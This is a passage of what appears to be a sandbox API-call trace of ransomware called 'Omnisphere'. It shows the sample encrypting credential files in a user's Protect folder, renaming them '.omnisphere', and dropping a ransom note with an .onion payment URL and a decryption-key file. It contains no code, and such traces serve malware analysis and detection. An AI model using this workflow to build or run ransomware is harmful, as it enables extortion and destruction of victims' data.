hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.740] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.740] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.741] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.741] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.741] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.741] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.741] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.741] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.741] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.741] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.741] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.741] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.741] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.741] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.741] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.741] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.741] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.741] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.741] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.741] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.741] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.741] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.741] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.742] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.742] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.742] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.742] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.742] CryptDestroyKey (hKey=0x16394e8) returned 1 [0116.742] CryptReleaseContext (hProv=0x16683d8, dwFlags=0x0) returned 1 [0116.742] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x2e8, lpNewFilePointer=0x0, dwMoveMethod=0x3e0dcbc | out: lpNewFilePointer=0x0) returned 1 [0116.742] WriteFile (in: hFile=0x3a0, lpBuffer=0x3e0d770*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0dcd0, lpOverlapped=0x0 | out: lpBuffer=0x3e0d770*, lpNumberOfBytesWritten=0x3e0dcd0*=0x524, lpOverlapped=0x0) returned 1 [0116.742] GetProcessHeap () returned 0x1600000 [0116.742] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x294) returned 0x1692f88 [0116.742] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\CREDHIST" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\protect\\credhist"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\CREDHIST.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\protect\\credhist.omnisphere")) returned 1 [0116.744] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\CREDHIST.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\CREDHIST.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\CREDHIST.omnisphere.id" [0116.744] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\CREDHIST.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\protect\\credhist.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0116.747] WriteFile (in: hFile=0x288, lpBuffer=0x3e0d770*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d758, lpOverlapped=0x0 | out: lpBuffer=0x3e0d770*, lpNumberOfBytesWritten=0x3e0d758*=0x524, lpOverlapped=0x0) returned 1 [0116.749] CloseHandle (hObject=0x288) returned 1 [0116.750] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0116.750] CloseHandle (hObject=0x28c) returned 1 [0116.750] SetEndOfFile (hFile=0x3a0) returned 1 [0116.750] FlushFileBuffers (hFile=0x3a0) returned 1 [0116.755] CloseHandle (hObject=0x3a0) returned 1 [0116.755] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\CREDHIST" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect") returned 1 [0116.755] GetProcessHeap () returned 0x1600000 [0116.755] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1693228 [0116.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0116.755] GetProcessHeap () returned 0x1600000 [0116.755] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x161c4f0 [0116.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x161c4f0, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0116.756] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0116.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0116.757] GetProcessHeap () returned 0x1600000 [0116.757] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1687508 [0116.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1687508, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0116.757] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0116.757] GetProcessHeap () returned 0x1600000 [0116.757] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa2) returned 0x162dbd8 [0116.757] PathCombineW (in: pszDest=0x162dbd8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\!DECRYPT_OMNISPHERE.txt" [0116.757] GetProcessHeap () returned 0x1600000 [0116.757] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x168f1c8 [0116.757] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\protect\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0116.758] WriteFile (in: hFile=0x3a0, lpBuffer=0x168f1c8*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0dcf0, lpOverlapped=0x0 | out: lpBuffer=0x168f1c8*, lpNumberOfBytesWritten=0x3e0dcf0*=0x588, lpOverlapped=0x0) returned 1 [0116.759] CloseHandle (hObject=0x3a0) returned 1 [0116.759] GetProcessHeap () returned 0x1600000 [0116.759] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1693228 | out: hHeap=0x1600000) returned 1 [0116.759] GetProcessHeap () returned 0x1600000 [0116.759] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x98) returned 0x165e9a8 [0116.759] PathCombineW (in: pszDest=0x165e9a8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\unique_decrypt.key" [0116.759] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\protect\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0116.760] WriteFile (in: hFile=0x3a0, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0dd04, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0dd04*=0x5a0, lpOverlapped=0x0) returned 1 [0116.761] CloseHandle (hObject=0x3a0) returned 1 [0116.762] GetProcessHeap () returned 0x1600000 [0116.762] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x165e9a8 | out: hHeap=0x1600000) returned 1 [0116.762] GetProcessHeap () returned 0x1600000 [0116.762] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16336d8 | out: hHeap=0x1600000) returned 1 [0116.762] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2fb5efac, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x5c020c86, ftLastAccessTime.dwHighDateTime=0x1d4d5d3, ftLastWriteTime.dwLowDateTime=0x5c020c86, ftLastWriteTime.dwHighDateTime=0x1d4d5d3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdb, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0116.762] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x44622928, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x44622928, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x2bc7f8fe, ftLastWriteTime.dwHighDateTime=0x1d4d5d0, nFileSizeHigh=0x0, nFileSizeLow=0x4c, dwReserved0=0x0, dwReserved1=0xdb, cFileName="SYNCHIST", cAlternateFileName="")) returned 1 [0116.762] GetProcessHeap () returned 0x1600000 [0116.762] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x84) returned 0x16337f8 [0116.762] PathCombineW (in: pszDest=0x16337f8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect", pszFile="SYNCHIST" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\SYNCHIST") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\SYNCHIST" [0116.762] StrStrW (lpFirst=".omnisphere", lpSrch=0x0) returned 0x0 [0116.762] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\SYNCHIST" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\protect\\synchist"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0116.763] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x3e0dcc8 | out: lpFileSize=0x3e0dcc8*=76) returned 1 [0116.763] GetTickCount () returned 0x115d30c [0116.763] GetTickCount () returned 0x115d30c [0116.763] GetTickCount () returned 0x115d30c [0116.763] GetTickCount () returned 0x115d30c [0116.764] GetTickCount () returned 0x115d30c [0116.764] GetTickCount () returned 0x115d30c [0116.764] GetTickCount () returned 0x115d30c [0116.764] GetTickCount () returned 0x115d30c [0116.764] GetTickCount () returned 0x115d30c [0116.764] GetTickCount () returned 0x115d30c [0116.764] GetTickCount () returned 0x115d30c [0116.764] GetTickCount () returned 0x115d30c [0116.764] GetTickCount () returned 0x115d30c [0116.764] GetTickCount () returned 0x115d30c [0116.764] GetTickCount () returned 0x115d30c [0116.764] GetTickCount () returned 0x115d30c [0116.764] GetTickCount () returned 0x115d30c [0116.764] GetTickCount () returned 0x115d30c [0116.764] GetTickCount () returned 0x115d30c [0116.764] GetTickCount () returned 0x115d30c [0116.764] GetTickCount () returned 0x115d30c [0116.764] GetTickCount () returned 0x115d30c [0116.764] GetTickCount () returned 0x115d30c [0116.764] GetTickCount () returned 0x115d30c [0116.764] GetTickCount () returned 0x115d30c [0116.764] GetTickCount () returned 0x115d30c [0116.764] GetTickCount () returned 0x115d30c [0116.764] GetTickCount () returned 0x115d30c [0116.764] GetTickCount () returned 0x115d30c [0116.764] GetTickCount () returned 0x115d30c [0116.764] GetTickCount () returned 0x115d30c [0116.764] GetTickCount () returned 0x115d30c [0116.764] CryptAcquireContextW (in: phProv=0x3e0d750, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d750*=0x16681b8) returned 1 [0116.765] CryptImportKey (in: hProv=0x16681b8, pbData=0x3e0d6b8, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d75c | out: phKey=0x3e0d75c*=0x16394e8) returned 1 [0116.765] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0dc08*, pdwDataLen=0x3e0d74c*=0x75, dwBufLen=0x80 | out: pbData=0x3e0dc08*, pdwDataLen=0x3e0d74c*=0x80) returned 1 [0116.765] CryptDestroyKey (hKey=0x16394e8) returned 1 [0116.766] CryptReleaseContext (hProv=0x16681b8, dwFlags=0x0) returned 1 [0116.766] CreateFileMappingW (hFile=0x3a0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4c, lpName=0x0) returned 0x28c [0116.766] MapViewOfFile (hFileMappingObject=0x28c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4c) returned 0x1480000 [0116.766] CryptAcquireContextW (in: phProv=0x3e0d740, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d740*=0x1668a38) returned 1 [0116.767] CryptImportKey (in: hProv=0x1668a38, pbData=0x3e0d6f8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d750 | out: phKey=0x3e0d750*=0x1639b68) returned 1 [0116.767] CryptSetKeyParam (hKey=0x1639b68, dwParam=0x4, pbData=0x3e0d734*=0x2, dwFlags=0x0) returned 1 [0116.767] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d73c*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d73c*=0x10) returned 1 [0116.767] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.767] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.767] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.767] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.767] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.767] CryptDestroyKey (hKey=0x1639b68) returned 1 [0116.767] CryptReleaseContext (hProv=0x1668a38, dwFlags=0x0) returned 1 [0116.767] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x4c, lpNewFilePointer=0x0, dwMoveMethod=0x3e0dcbc | out: lpNewFilePointer=0x0) returned 1 [0116.768] WriteFile (in: hFile=0x3a0, lpBuffer=0x3e0d770*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0dcd0, lpOverlapped=0x0 | out: lpBuffer=0x3e0d770*, lpNumberOfBytesWritten=0x3e0dcd0*=0x524, lpOverlapped=0x0) returned 1 [0116.770] GetProcessHeap () returned 0x1600000 [0116.770] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x294) returned 0x1693228 [0116.770] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\SYNCHIST" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\protect\\synchist"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\SYNCHIST.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\protect\\synchist.omnisphere")) returned 1 [0116.774] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\SYNCHIST.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\SYNCHIST.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\SYNCHIST.omnisphere.id" [0116.774] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\SYNCHIST.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\protect\\synchist.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0116.775] WriteFile (in: hFile=0x288, lpBuffer=0x3e0d770*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d758, lpOverlapped=0x0 | out: lpBuffer=0x3e0d770*, lpNumberOfBytesWritten=0x3e0d758*=0x524, lpOverlapped=0x0) returned 1 [0116.776] CloseHandle (hObject=0x288) returned 1 [0116.778] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0116.778] CloseHandle (hObject=0x28c) returned 1 [0116.778] SetEndOfFile (hFile=0x3a0) returned 1 [0116.778] FlushFileBuffers (hFile=0x3a0) returned 1 [0116.799] CloseHandle (hObject=0x3a0) returned 1 [0116.800] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\SYNCHIST" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect") returned 1 [0116.800] GetProcessHeap () returned 0x1600000 [0116.800] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16934c8 [0116.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0116.800] GetProcessHeap () returned 0x1600000 [0116.800] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1642010 [0116.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1642010, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0116.800] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0116.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0116.800] GetProcessHeap () returned 0x1600000 [0116.800] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1687448 [0116.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1687448, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0116.800] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0116.800] GetProcessHeap () returned 0x1600000 [0116.800] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa2) returned 0x162dff8 [0116.800] PathCombineW (in: pszDest=0x162dff8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\!DECRYPT_OMNISPHERE.txt" [0116.800] 